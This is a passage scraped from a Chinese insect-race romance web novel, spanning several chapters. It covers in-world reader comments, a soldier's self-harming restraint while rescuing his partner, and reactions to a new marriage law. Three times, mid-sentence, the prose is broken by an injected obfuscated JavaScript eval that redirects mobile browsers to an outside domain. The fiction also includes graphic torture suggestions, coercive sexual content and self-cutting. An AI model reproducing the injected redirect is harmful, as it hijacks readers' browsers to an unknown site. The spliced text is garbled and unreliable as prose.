军雌的精神域难以打开,雄虫先凿开军雌的身体,再进入雌虫精神域,也是很正常的流程,通常没有军雌会拒绝。 婚后得不到雄主的精神梳理、只能乔装打扮去黑市找精神梳理师的雌虫除外。 可克莱尔居然拒绝他? 席安说不清自己现在究竟是愤怒更多,还是难过更多。 但他想活撕了克莱尔的心都有了。】 突如其来的变故,震惊了席安,也震惊了追文的读者。 [???] [克莱尔在做什么?他疯了吗??!] [那可是A+级雄虫!能跟这么出色的A+级雄虫睡觉,多么可遇不可求的机会,他居然还拒绝?!] [哪怕不提等级,席安阁下也是他的雄主,新婚之夜拒绝雄主?也就是现在没有管教所了,不然克莱尔高低得进去。] [我急死了!我真的急死了!克莱尔你不行别占着位置,让我来!] 评论区的讨论第一次完全一边倒。 雌虫们恨不能把克莱尔从书里拽出来,自己以身相替。 但这显然是做不到的,于是攻击克莱尔的言论越发激烈。 [他彻底激怒了席安阁下,席安阁下要把他活撕!] [这也是他活该,刚对他升起的一点同情羡慕立刻被他自己作没了,他就该被狠狠折磨报复!] 席安想把克莱尔“活撕”了。 雌虫读者理解的就是物理意义上的活生生撕碎。 这在虫族中也算是酷刑。 但这一刻没有虫同情克莱尔。 甚至还有雌虫在出谋划策。 [要戴上抑制器,阻隔他的自愈能力,不然以高等雌虫的身体素质,瞬间就痊愈了。] [肌肉松弛剂也得用上,免得他反扑。] [席安阁下来自军部,肯定知道怎么划开虫的肌肉血管,给虫带来最大的痛苦……] 第一次追更的雄虫忍不住皱眉。 评论区说的那些太过血腥了。 但这样不识好歹的雌虫,确实要被狠狠教训才行。 他们对其他虫族小说的里的雄虫毫无代入感,也不会在意他们在书桌中的遭遇。 但席安不一样。 他们能感受到他的喜怒哀乐,也能体会到他对克莱尔的情感,也就越发为他不值。 [(打赏量子炮x1)结束这场闹剧吧,该让雌虫认清自己了。] [别在卧室里,弄脏床很烦,去惩戒室。] [唉……小雄虫什么都好,眼光太差了。] [我不喜欢这种情节,看了晚上会做噩梦,明天让我雌君告诉我结局算了。] 雌虫读者的关注点则完全跑偏了。 [楼上是雄虫吗?居然有雄虫会看小说?] [都有雄虫的身份标记,肯定是真的,这个可造不了假。果然,像克莱尔这样的雌虫根本不会有雄虫喜欢,席安阁下一定是被蛊惑了!] …… 【克莱尔脑袋嗡嗡,完全是懵的。 嘴里的血腥味和舌尖疼痛唤醒了他的理智。 ——他咬破了自己的舌头,幸好不是席安的。 想起自己刚刚做的事,克莱尔既惊慌又害怕,忙起身去查看席安的情况。 席安“啪”地拍开他伸来的手,满是怒火的眼睛瞪着他。 他需要一个解释。 克莱尔面色惨白。 “对不起阁下,我……我也不知道自己是怎么了……” 房间内充斥的高等级雄虫信息素弄得他身体发软,泛滥不已,想要被雄虫狠狠标记侵占。 可他的本能与潜意识中又有什么在叫嚣着远离。 不可接触,不可沉迷,仿佛连靠近都是对对方的冒犯。 在雄虫的信息素下,克莱尔甚至没法控制自己身体本能的反应。 “求您将我的手脚锁起来,再戴上抑制器……这样就不会再出现刚刚的情况。” 克莱尔颤声祈求,希望能平复席安的怒火,挽回雄虫。 他的提议让席安脸色难看。 那跟强x有什么两样? 他可以配合克莱尔的爱好,跟他玩点小晴趣。 但绝不包括在对方满身抗拒的情况下强行做那种事。 见克莱尔眼眶泛红,紧咬牙关,努力在信息素中维持清醒。 想起他那糟糕的精神状况…… 席安微凝眉,终是没跟他再僵持下去。 “先给你做精神梳理,剩下的事之后再说。” 席安沉着脸道。 说着将他重新推倒。 克莱尔顺从倒下,仰面躺倒,像是愿意任他施为。 然而当席安倾身靠近,手覆在克莱尔浴袍遮盖的腹肌上时,感受到底下的肌肉骤然紧绷。 抗拒得如此明显。 “呵。” 席安冷哼一声。 克莱尔瞪大了眼,盯着自己紧绷的腹部,比他更加不可置信和惊慌。 想要控制身体放松下来,却根本做不到。 他昏了头地出主意: “注射肌肉松弛剂,就能软下来……” “闭嘴!” 席安不想听他说下去,恼怒瞪他。 “我对睡一具死尸没兴趣!” “等解决完你的精神问题,你再给我解释。给不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679370|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出合理的理由,你就死定了!” 席安恶狠狠说着,强大的精神力如潮水般朝克莱尔涌去,强行破开了他的精神域。 “……” 其实根本没遇到抵抗。 克莱尔的身体不让他碰,精神域倒是对他门户大开。 席安气得咬牙。 再次确认克莱尔就是只想要他的精神梳理,根本不想跟他睡觉。 连最基础的婚内夫夫义务都不愿意履行! 他刚才就该直接咬死他。 席安恶狠狠磨牙,忍着怒火和委屈深入克莱尔的精神域,直奔他的精神内景。 这是一架……机甲。 立与茫茫宇宙星海中的暗红机甲。 不是克莱尔的机甲。 而是席安的专属座驾。 席安懵了一瞬。 进入之前,他想过自己或许会看到被克莱尔当成家的第九军区,想过克莱尔远征的战场或军舰,也想过会看到克莱尔自己的机甲…… 可为什么是他的机甲? 克莱尔的精神内景……为什么是他的机甲的模样? 带着疑惑,精神力进入残破的机甲内部,轻车熟路地来到驾驶舱。 在这里,他看到了蜷缩在悬浮椅上、脸颊发烫、昏睡醒的自己。 还有在驾驶位上专注操纵机甲的克莱尔。 克莱尔的手在操作台上快速移动,操作让虫眼花缭乱,光屏显示的机甲数据不断变动。 左下角的雷达系统上,多如星辰的敌军红点闪烁不定。 全息视野中,天伽军舰紧追不舍。 看到熟悉的天伽军舰,席安顿时想起了前因后果。 那是他进入第九军区的第二年。 跟着克莱尔带领的部队一起执行巡航任务。 军方不让雄虫上战场,但像是这样危险系数低的巡航任务,雄虫还是能参加的。 危险系数再低的任务,倒霉起来,也能碰上敌军舰队骑脸。 他们乘坐的飞船在天伽炮火轰炸下受损,能源告急,只能选择驾驶机甲突围。 这是席安的第一次机甲实战,他紧张得不行,握着精神连接操纵杆的手都是抖的。 但克莱尔的机甲一直护在他身前。 同队的其他军雌也围绕在四周保护着他。 席安渐渐冷静下来,找回状态。 随后靠着出色的射击技术和精神力,远距离干掉了几架天伽的机甲。 他调动全部精神力,全身心地投入这场战斗,也越发得心应手,甚至成功击落了几艘小型追击舰,很是鼓舞虫心。 他能感觉到实战带给他的蜕变。 但蜕变过头了。 或许是危险带来的压力,或许精神力到达了某个阈值,总之……他突破了。 从A级到A+,迈入超A行列。 这个突破来得实在不凑巧。 他们还在天伽舰队的包围中,稍有不慎就可能丧命。 然而他却在这时,因等级突破发起了高热,烧得意识模糊。 后面发生了什么,席安根本记不清。 只知道克莱尔放弃了他自己的机甲,进入他的机甲驾驶舱内,接手操控权,带他突围。 最后成功将他带回了第九军区…… 这些是他在医疗室里醒来时,从医生口中得知的。 克莱尔不在。 直到他出院,克莱尔也没出现。 他找不到克莱尔。 就算去问军团长,对方也只是神情复杂地告诉他,克莱尔在进行特殊的隔离训练,不见任何虫,尤其是他。 再往下追问,对方就什么都不肯说了。 席安在煎熬中等了许久,想过各种恐怖的可能。 三个月后,克莱尔重新出现在他面前。 完好无损,身体康健,一如往昔。 只是……与他更加疏远。 克莱尔冷硬疏离,刻意与他保持着距离。 甚至到了无法忍受任何肢体接触的地步。 ——仅指他的。 克莱尔能和其他战友一起对练、肉身搏斗、拍着肩膀谈笑。 可他……就连靠近都会引起克莱尔蹙眉。 总是没说几句话,对方就会找借口匆匆离开。 席安一直认为,克莱尔变得如此冷淡,是因为他拖后腿了。 他在战场上晋级昏过去,成为了累赘和负担,拖累了克莱尔。 所以被讨厌了。 ……】 11. 雄虫新兵x昔日教官7 [啊?雄虫?战场?天伽舰队!?] [军方都干什么吃的!居然让雄虫去执行那么危险的任务!还让雄虫在危险的战场上突破?!] [偌大一个联邦已经没军雌了吗!需要雄虫去执行任务?] 看到文中写席安阁下曾参与巡航任务,还遭遇了天伽舰队,雌虫们都反应激烈。 那可是雄虫,珍贵的A+级雄虫。 放眼整个联邦都屈指可数,弥足珍贵!损失一个就足以让全虫族痛惜。 可珍贵的雄虫居然落入天伽舰队的包围圈,面临生死危机,这是全体雌虫的失职。 更何况,席安阁下当时还面临等级晋升! 雄虫晋升需要安全稳定的环境。 一般雄虫都会选择在自己熟悉的卧室房间里进行。 每当有雄虫要突破了,家里的雌君雌侍、双亲长辈、乃至在外的兄弟,都会专门请假回去陪伴。 哪怕只是守在雄虫的房间外,也要给雄虫安全感。 可席安阁下的突破却是在危险的战场上进行。 没有沾满自己味道的熟悉房间,也没有家虫亲属的陪伴……就一个克莱尔! 克莱尔他能做什么? 他能给雄虫阁下带来安全感吗?他保护得了雄虫吗? 于此同时,雌虫们想起了另一件重要的事。 雄虫在突破时,身体各项激素变化极大,信息素的释放不受控制,会自发地向外释放信息素。 宇宙真空环境能阻隔信息素的传播。 但在这座机甲驾驶舱里,还有一只雌虫。 一只成年的、个方面都发育正常、性谷欠旺盛的雌虫。 [靠靠靠!克莱尔这家伙!他怎么敢?!!] [原来是这样,他趁雄虫阁下觉醒,把阁下欺辱了,难怪他之后不敢见阁下!] [他居然在这里就吃到了席安阁下,我恨啊。] 一群暴怒的雌虫已经被妒火冲昏了头脑。 理智些的已经感到无语了。 [你们清醒点,这里是战场,后边就是天伽舰队的追击,可不是什么能进行雌雄交酉己的场所。这时候去睡雄虫,是连命都不要了吗?] 一般虫在这种情况下还真清醒不起来。 A+级的雄虫信息素谁能抵抗? 雌虫在封闭的驾驶舱内,闻到这信息素,只会浑身发软,只剩下一处硬。 恨不得立刻被雄虫填满,被标记。 什么理智,什么规矩,都抛到了脑后。 只剩下原始的交酉己本能。 这会就算被捅几刀,雌虫都感觉不到疼。 更不用提去关注隔着宇宙星海的天伽战舰。 没有虫认为克莱尔能在这样的情况下带着雄虫离开。 只能是好运气遇上了救援部队。 【“克莱尔……” 席安听到“自己”在唤他。 精神内景呈现的机甲驾驶舱中,红色头发的雄虫蜷缩在悬浮椅上,双目紧闭,面颊醇红,微张着唇,轻吐出一个名字。 哪怕席安此时只是精神体状态,也能清晰感受到空气中甜蜜的雄虫信息素。 信息素充斥了整个驾驶舱,暧.昧而誘惑的甜意几乎化成实质。 坐在操控台前的克莱尔面色涨红,呼吸急促,座椅似乎已经被濡濕,军裤下隆起夸张的一团。 却仍然抽空回应了句“我在”。 声音低沉磁性,透着隐忍的沉闷,还有一丝压抑的低喘与气音。 在这里的席安明明只是一个精神体,却感觉耳朵烧了起来。 他从没见过克莱尔这个样子。 让他不敢看。 却又忍不住再看。 甚至都忘了自己进入克莱尔精神域的目的。 精神内景里的“信息素”似乎都影响到了他。 他忍不住想,克莱尔抱他了吗? 吃他了吗?还是骑了? 席安眸光晶亮闪烁,心里紧张又忐忑。 一方面觉得自己可能在无意识时失身了。 倒也没有什么负面情绪,更多是羞赧和遗憾。 遗憾自己对此毫无记忆。 另一方面又觉得这里太危险了。 天伽军队还紧咬在后边,若是克莱尔与他在这里发生关系,他们肯定逃不过天伽舰队的追击。 他很担心克莱尔的安危。 但在已知的过往中,克莱尔是成功将他带回去了的。 那是既定的事实。 他们两个都平安回去了,没有生命危险。 这让席安放下心。 又忍不住想,克莱尔是怎么把他带回去的? 后方追击的天伽舰队,机甲驾驶舱里发着高热、散发信息素的雄虫……这怎么看都是一个死局。 有援军吗? 不,报告中并未提起。 正猜测着,席安听到克莱尔发出一声让虫耳朵都酥了的呻.吟。 他下意识抬手想摸耳朵,就看到克莱尔从空间纽中取出一根针剂,狠狠扎在手臂上,表情狰狞。 席安吓得白了脸。 那是军用的信息素抑制剂。 能让雌虫快速从发晴的状态下冷静下来。 但那滋味绝不好受。 那只握着针管的手还是颤的,但雌虫打药的动作毫不犹豫,瞬息清空了一管药。 克莱尔重重喘了声,抑制剂起效的疼痛让他面上血色尽褪,冷汗直冒。 他紧咬牙关,一声不吭,拔出空了针管丢下。 他没往下看一眼,紧盯光屏上的数据,继续操作机甲。 座椅旁的地面上,散落着三根同样的针管。 席安愣愣看着那散落一地的针管,惊得捂住了嘴。 克莱尔一直靠着注射抑制剂维持理智。 他没法想象,克莱尔是怎么在A+级雄虫的信息素笼罩下,依靠理智和意志力一次次给自己注射抑制剂,又是怎么顶着抑制剂带来的痛苦,操作机甲,与天伽军周旋交锋。 他们的适配度还那么高,他的信息素对克莱尔的影响只会更大。 而这已经不是克莱尔第一次注射。 短时间内注射这么多抑制剂,其中的痛苦可想而知,无异于一场基因凌迟。 席安眼前模糊。 这些都是他从不知道的过往。 没有任何虫告诉他。 医生没有,第九军团的军雌没有,克莱尔也没有。 在克莱尔又一次将针剂扎下时,席安下意识上前,伸手想要阻止。 针剂穿过了他的手,就如穿过虚无的空气。 席安看着这一幕,感到无比痛苦。 他只是一个入侵的精神体而已。 他什么都阻止不了,更改变不了已经发生的事实。 席安没有看到,克莱尔被汗染濕的睫毛颤了颤,目光有一瞬汇聚在他脸上。 早在雄虫出现在机甲里时,他就发现了他。 这个跟席安一模一样的“幻象”,让他感到自己的意识和理智岌岌可危。 这已经是最后一支抑制剂了,他可能撑不到将席安带回去。 但他绝对不能伤害席安。 也绝不能让席安落入天伽手里。 他知道天伽雄性的处境,而像这种从敌国掠夺过来的雄性,天伽更加不会珍惜。 以席安的骄傲,他绝不会选择屈辱地活着。 克莱尔用力闭了下眼,将针剂推入。 他没再看身旁的“幻象”,紧抿着唇,不发一言,继续驾驶着机甲。 他凭借操作躲过天伽的炮火,并在走位中反杀了两架天伽追击舰。 操作漂亮得可以上军部的教学集锦。 克莱尔无心想那些,这对他来说,是真正的生死存亡危机。 稍有不慎,就会带着雄虫一起湮灭于星空。 他可以死。 但席安不行。 克莱尔不敢有丝毫放松。 也不敢沉迷于诱虫坠落的幻象。 但身边的“幻象”在哭。 他盯着他手臂上的针孔,吧嗒吧嗒掉眼泪。 在看到晶莹的眼泪从那张与席安一般无二的脸上滑过时,克莱尔仿佛听到了脑海中名为理智的弦彻底崩断的声音。 克莱尔快要疯掉了。 手上的操作差点出错。 机甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679371|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以一百三十五度的转弯在太空中呈现了一段滑稽的漂移,恰好躲过一枚天伽的导弹。 克莱尔强迫自己冷静,却难以做到。 他可以在席安的信息素下竭力让自己保持清醒,可以承受注射抑制剂带来的痛苦,却受不住席安的眼泪。 “别哭,我会把你平安带回去。” 克莱尔低声安抚,声音虽轻,却很坚定。 哪怕押上自己的性命,他也要把席安带回去。 席安眼泪朦胧,隔着眼里的水雾看了他半响,才意识到克莱尔是在跟他说话。 “你能看到我?” 克莱尔当然能看到他。 这里是克莱尔的精神内景,是他过往记忆的衍生,但又非过往本身,承载着克莱尔的自我意识。 不是过往那个与天伽军周旋、带他逃生的克莱尔看到了他。 而是克莱尔精神域中潜藏的自我意识发现了他。 席安鼻尖酸涩。 他清楚过往那些事已经发生,他再怎么也改变不了。 他现在能做的只有给克莱尔做精神梳理,修好克莱尔受损的精神域,让他好受些。 他抹了把泪,对克莱尔道: “我这就给你做精神梳理。” 克莱尔正想说不用,就见“幻象”跑出驾驶舱,去修机甲了。 克莱尔:“?” 说好的精神梳理呢? 不管怎么样,对方没哭了,也没继续站在他身边,让他松了口气。 他是真的怕自己忍不住,受不住诱.惑,兽谷欠大发,把席安睡了。 抑制剂能维持的时间越来越短,克莱尔很快感觉到自己的身体又熱了起来。 又熱又空,濕润粘稠,渴望被雄虫贯穿填满。 驾驶舱内信息素浓郁。 他能听到席安清浅的呼吸声,每一次呼吸都带来更甜蜜热烈的信息素。 席安睡得并不安稳,眉头紧凝着,不时会扭动调整姿势,身体摩擦过衣物的声音在克莱尔耳中被放大了许多倍。 克莱尔克制住自己不往那边看,却仍旧不自觉吞咽唾沫。 想要被按在驾驶位上进入,被雄虫米且暴草开,想要身上和深处都染上席安的信息素。 他紧咬舌尖,口中扩散开的血腥味短暂挽回他的理智。 “克莱尔……” 昏睡中的雄虫不安地唤了声。 晋级时需要安全感。 需要安稳的环境,和家属的守护。 克莱尔什么都给不了他,只能在他唤他的时候,一遍遍地重复“我在”。 每每得到他的回应,雄虫的呼吸就会变得平缓,紧蹙的眉头也得以松开。 他身上披着克莱尔的军装外套。 他将半张莹白的脸缩进带着克莱尔味道的外套里,再度沉沉睡去。 与此同时,克莱尔的面色差到极致。 药效彻底消退,身体的空虚和渴望到达了极点,大脑在信息素的影响下昏昏沉沉,热意在身体里沸腾。 再这样下去,他会对雄虫做出无法挽回的事情。 克莱尔的右手一瞬覆盖上银白的虫甲,寒光划过,军裤被割开,数道深可见骨的伤口出现在他大腿上。 鲜血在一瞬间涌出,浸染了军裤,顺着座椅小腿流淌地面,在他脚下汇聚成一个血泊。 强烈的疼痛唤醒了克莱尔的理智,他紧绷着脸,平视前方,对身上的伤仿若未觉,用染血的手继续操控机甲。 雌虫的自我修复能力太强。 伤口不一会就会愈合,那就需要再度制造新的伤,产生新的疼痛。 那惨烈的疼意让克莱尔觉得畅快。 鲜血和疼痛唤醒了雌虫基因中的嗜血弑杀的本能,克莱尔冰蓝的双眸染上猩红,他紧盯着全息视野中的天伽军舰,机甲的操作越发极致狠厉。 然而当蜷缩在他军装外套下的雄虫唤他时,他还是会放柔声音,一遍遍回答“我在”。 不知多少次划开身体皮肉,延绵不断的鲜血在驾驶舱的地面汇聚成猩红的湖泊。 当席安一路修复着精神域,返回驾驶舱,看到的就是这宛如炼狱般的场景。 ……】 12. 星网热议 看完更新的读者集体静默。 没有虫相信有雌虫能在A+级雄虫的信息素里保持清醒。 克莱尔当然也做不到。 但他偏偏做到了。 宁愿注射大量抑制剂,忍受如同基因崩解般的痛苦;在没有抑制剂后用利爪划开自己的身体皮肉,一次次用鲜血和疼痛唤醒自己的理智……也不曾伤害雄虫。 他面临的不仅是雄虫信息素的诱.惑,和身体上的痛苦煎熬,还有天伽的追击。 可他竟然真的在这种完全不可能的情况下,把席安平安带了回去。 [克莱尔……我敬他是只雌虫,真正英勇的军雌。] [我再也不骂克莱尔了,他在我这享有终身免喷权。] [我之前还那么说他,我真该死啊。] [半夜想起来都要扇自己两巴掌。] [难怪席安阁下会选择他。如果是这样的话,一点也不难理解。] 雄虫们对此的体会更深一些。 他们是雄虫,清楚地知道高等雄虫的信息素对雌虫的吸引力有多大。 足以让平日里最高冷肃穆的雌虫抛下一切,失去自我,放弃理智和尊严,匍匐在地,丑态毕露,沦为欲.望的淫兽。 雌虫认为雄虫没有爱。 雄虫同样认为雌虫没有爱。 那能说是爱吗?只不过是对信息素的狂热迷恋。 换一只高等雄虫他们同样会如此。 卑躬屈膝,摇臀祈怜。 正是清楚高等雄虫信息素的影响有多强,才更被克莱尔的所作所为震撼。 他们好像明白席安为什么会喜欢克莱尔了。 这样的守护与情感,没有虫能不为此心动。 [可是……席安之前并不知道克莱尔做了这些啊。] [对哦,那他为什么喜欢克莱尔?] [可能是因为克莱尔本身就很好,他才喜欢克莱尔,而不是因为克莱尔对他很好。] 好像能理解,但又不太能理解。 他们迫不及待想看后续的发展,想看席安和克莱尔的故事。 [作者快更新!你已经休息了5分钟了,该起来更下一章了!(打赏宇宙飞船x1)] [我一般是不看这种血糊糊的书的,但这个太心疼了,赶快把克莱尔治好吧(大哭)。然后在驾驶椅上哔——他,满足克莱尔的幻想。] 登录看读者留言的安若:“???” 不愧是虫族,黄.暴得一如既往,一点都不出乎意料。 其他雌虫读者也丝毫不觉得这样的评论有问题。 看,阁下想的还是把克莱尔治疗好再上呢,都没有让席安阁下直接就着伤口在血泊里上。 愿意睡雌虫的雄虫就是好雄虫,是道德高尚的、值得尊敬的。 能在睡完后顺手做个精神梳理的,那更是特别特别好的雄虫。 安若:“……” 不是很想承认这是自己写出来的小说世界。 雌虫对雄虫的要求低到发指。 这种情况下,还能指望雄虫能有多高尚呢? 安若退出评论区,正准备去清点一下自己最近收到的打赏,上方就滑出一条新闻通知,他手快点了进去。 《最新法案:已婚雄虫必须定期为家中雌虫进行精神梳理》 包括雌君、雌侍,以及雌虫幼崽。 至于雌奴?对不起,联邦官方不承认雌奴,没有雌奴。 法案还表明,如果雄虫等级太低,达不到为雌虫进行精神梳理的标准,雌虫可申请解除婚姻关系。 安若都震惊了。 虫族居然还能有这样的法案?真是不可思议。 不过确实有那么一点模糊的印象…… 原文的雄虫主角曾提到过,雄虫必须定期为家中雌虫进行精神梳理,如果已婚雌虫精神出现问题,做雄主的也会被问责。 至少在原文的时间线上,这已经是当时公认的社会常识。 这些都是尤利西斯执政期间带来的改变。 说不上全然好,但也不算全然坏。 尤利西斯一步步提升雌虫地位和权益,同时也抑制了雄虫,到了后期甚至偏激到了将雄虫全部禁锢当工具的地步。 极端到了这种程度,他当然是反派。 注定被正义的主角打倒。 刺向他的刀刚好是在他的政策下选拔和培养起来的雌虫主角。 即使是多年后的雌虫主角,也不得不肯定尤利西斯在提升雌虫地位和权益方面做出的贡献。 这部法案还只是个开始。 安若有一种身处小说篇章之内,亲眼见证剧情发展的感触。 又像是站在历史长河之中,亲身经历时代的浪潮。 一切已经开始,终将走向既定的未来。 安若不觉得自己能改变什么。 如果他还在原本的世界,他或许会以作者的身份改写一个结局。 但他在虫族监狱里。 监狱的铜墙铁壁将他与外界分隔开,他什么也做不了,外界的一切纷纷扰扰都与他无关。 如果他能活到一切终结的那一天,他或许会在监狱的囚室里,用笔记录下这一切。 写下属于尤利西斯的篇章。 他值得一个单独的篇章。 …… “《教官》更新”“精神梳理”“新法案”,三个词条一同登上星网热议前三,热度不断攀升。 雄虫们开开心心追着小说,回头就发现被偷家了。 ——这法案分明就是冲着他们来的! 必须定期给家中雌虫做精神梳理,雌君雌侍幼崽都要做,雄虫等级不够雌虫还能解除婚姻。 纳尼?big胆!!! 突然多了一堆强制工作,这让随性自由惯了的雄虫哪里受得了? 最重要的还不是法案本身,而是法案上透露出来的对雄虫的态度。 雄虫在这上面都格外敏锐。 性格暴躁的直接抄起虚拟键盘就上了,在星网上破口大骂。 其他雄虫也心里很慌。 连忙回想自己平日里有没有定期做精神梳理,跟雌君雌侍们的等级差大不大,会不会有老婆找自己离婚。 发现自己平日里做得很好的雄虫悄悄松了口气。 而确定自己没有做到法案上那些的雄虫,则一边心里发慌,一边跟着在网上骂。 骂联邦,骂议会,骂尤利西斯元帅……啊这个不敢公然骂,改骂安诺。 虽然这份法案从头到尾没提尤利西斯的名字,但只要眼睛没瞎的都看得出这法案与他有关。 “雌虫能与等级差过大、无法进行精神梳理的雄虫离婚”这一条就是铁证! 当年身为B级雄虫的安诺不知道走了什么运,娶了当时SS级的尤利西斯上将。 B级雄虫最多给S级雌虫做精神梳理,这已经是极限了。 毕竟只要进入S级,就与下面等级的虫之间隔了天堑,实力区别大得像是两个物种。 B级雄虫根本没法给SS级做精神梳理。 那只雄虫连尤利西斯上将的精神域都打不开,也根本没法进行精神梳理和标记。 雄虫在压抑中扭曲,甚至做出了家暴上将的事来,还闹得十分严重。 天知道他哪来的胆子。 现在那只雄虫锒铛入狱,一辈子都将在监狱里度过。 而他们这些在外的无辜雄虫,却要被迫承担他留下的苦果。 这怎么能不骂? 雄虫们抄起终端,直接精神力输入,打字比谁都快,把那只在监狱的雄虫骂得狗血淋头。 无辜躺枪的安若:“啊这……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679372|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许他也并不是那么无辜。 这确实是他写下的剧情,只是没想到会应验在自己身上。 算了,骂吧骂吧,反正他在监狱里,这些雄虫也不可能冲进来打他。 安若手动屏蔽掉某些骂得过于激烈的言论,通过星网实名认证后的性别标识,查看雌虫们对此事的反应。 这件事,雌虫是绝对的受益者。 未婚雌虫对法案百分百赞成,哪怕有一些替雄虫说话的,心里也是希望法案能够推行下去,哪怕打个折扣推行都可以。 已婚雌虫大多在忙着安抚雄主情绪,抽不出身来星网发言。 虫族大多慕强,等级差、信息素、精神梳理,都是很现实的问题。 哪怕虫族的性别比很大,低等级雄虫也很难跨两级娶到高等雌虫。 若是出现这种罕见的情况,要么是雄虫家里有权有势,要么是其中有什么见不得虫的手段。 当然,还有另一种几乎不被虫族相信和理解的情况——真爱。 联邦议员长卡西安正处理着法案的后续事宜,忽地收到了自家雄主的通讯,他不得不先停下手里的工作,接通通讯。 光屏上显示出雄虫的影像,白发粉瞳,像个精致的手办娃娃。只是此时,那花瓣般的粉色眼睛里盛满了泪水。 雄虫大概哭了好一会了,一见到他,那眼泪就吧嗒吧嗒往下掉,像断线的珠子。 “怎么办啊宝宝,我们的等级差大于两级,我没法给你进行精神梳理,法庭要强制我们离婚了。” “请冷静雄主,没有强制离婚。联邦不会强制任何配偶离婚,只能是雌虫提出申请,法庭才会介入。” 卡西安语速平缓地跟对面解释,看起来温和自信又淡定,很有信服力。 实际自从他看到雄虫的眼泪开始,脑子就快炸了。 卡西安这辈子最怕两只虫掉眼泪。 一个是他弟弟席安,另一个就是面前的雄虫。 他弟弟被他欺负哭了还会咬回来,也擅于去找雌父雄父告状,从小就不是会吃亏的性子。 他雄主是真的是……跟个易碎的瓷娃娃似的,一碰就碎,一碎就哭,眼泪哗啦啦往下掉,根本停不下来。 像极了某类被雄虫诟病已久的小说里的哭唧唧雄虫。 为此,卡西安还成了这类小说的忠实爱好者,经常去跟里面的雌虫取经,学习怎么哄雄虫。 他雄主天生有基因缺陷,身体格外脆弱,卡西安很怕惹他伤心。 法案发布之前,他还特意跟他雄主解释了许多遍,一再保证这个不会影响他们,打足了预防针。 但法案真正对外发布后,雄虫还是被星网上的言论吓到了,哭着来找他。 卡西安后悔自己没能陪在雄主身边。 早知道这样,他应该提前请假的。 卡西安耐心哄了很久,才哄得对面雄虫平静下来,眼泪稍歇。 晶莹的泪珠挂在纯白眼睫上,将落未落,像花瓣上的露珠,引得虫心都颤了。 雄虫揉着眼睛看向他,低低抽噎着问:“真的不会强制离婚吗?” “我保证。” 卡西安做了个发誓的手势。 雄虫这才破涕为笑,擦干净眼泪。 忽地想起什么,雄虫被水洗过的眼里露出些清透狡黠的笑意,神神秘秘道: “对了,我刚刚在星网上看到了你弟弟。” “……席安?” 卡西安疑惑。 席安不是在第九军区吗? 怎么会出现在星网上? 正困惑着,对面给他发来一个链接,他随手点开。 《教官》热议: #席安阁下结婚# #席安阁下和克莱尔是真爱# #席安阁下哭了# 卡西安:“???” 13.雄虫新兵x昔日教官8 卡西安怀疑自己已经被时代淘汰了。 不然为什么光屏上的每一个字他都看得懂、连在一起他就不知道是什么意思了呢? 卡西安浏览着光屏上的文字,结合底下的截图和讨论,终于勉强弄清了这是个什么事。 ——这是一本小说里的情节。 联邦言论自由,文娱方面尤为宽松,像这类幻想跟某位高等雄虫阁下在一起的小说有很多,但热度这么高的还是很罕见。 卡西安悄悄松了口气。 还好,只是小说。 他还以为他乖巧可虫的弟弟背着他结婚了。 应该……不会吧? 卡西安突然有那么一点不安。 席安去第九军区已经三年了。 他们家世代从政,缺乏军事方面的力量和虫脉,以前曾在这上面吃到过惨痛的教训。 家中就传下规矩,每一代都要有虫从军。 到了他们这一代,本该由身为雌虫兄长的他去的。 但他喜欢上了一只有基因缺陷的白化雄虫。 他有着S级天赋,而雄虫只有C级,他们刚相爱时,雄虫等级甚至更低,是最低等级的F。 他们之间等级差太大,对方注定无法为他进行精神梳理。 若是在其他行业,这也不算什么大问题,只要他把精神数值始终维持在80分以上就可以了。 80分以上,雌虫的精神域可以自我修复,不用依靠雄虫的精神梳理。 这对需要上战场的军雌来说显然不现实。 除非一辈子干后勤,不上前线。 但这不是家族想要的,也不是一个有野心和抱负的雌虫能接受的。 就在卡西安面临家族压力时,年仅九岁的席安突然向全家宣布,他长大后要参军。 全家都被他这突如其来的决定吓了一跳。 家里虽然需要有虫进入军界,但也没到让雄虫幼崽担负这份责任的地步。 对于雄虫幼崽,全虫族的家庭都是一个态度:只要能开开心心地长大、健康快乐就够了。 要求再高一点的,也只是希望雄虫别长得太歪。 雄虫不长歪的标准……那可太宽松了。 为了这件事,家里虫还轮番上场,给席安做思想工作,劝着哄着他,一再表示家里的情况不用雄虫小幼崽操心,小雄虫只要开开心心就好。 席安才不管这些呢。 他就是要参军。 他要以优异的成绩考上军校、顺利进入军部、成为出色的军雄、军衔晋升、走上虫生巅峰、迎娶心中男神! 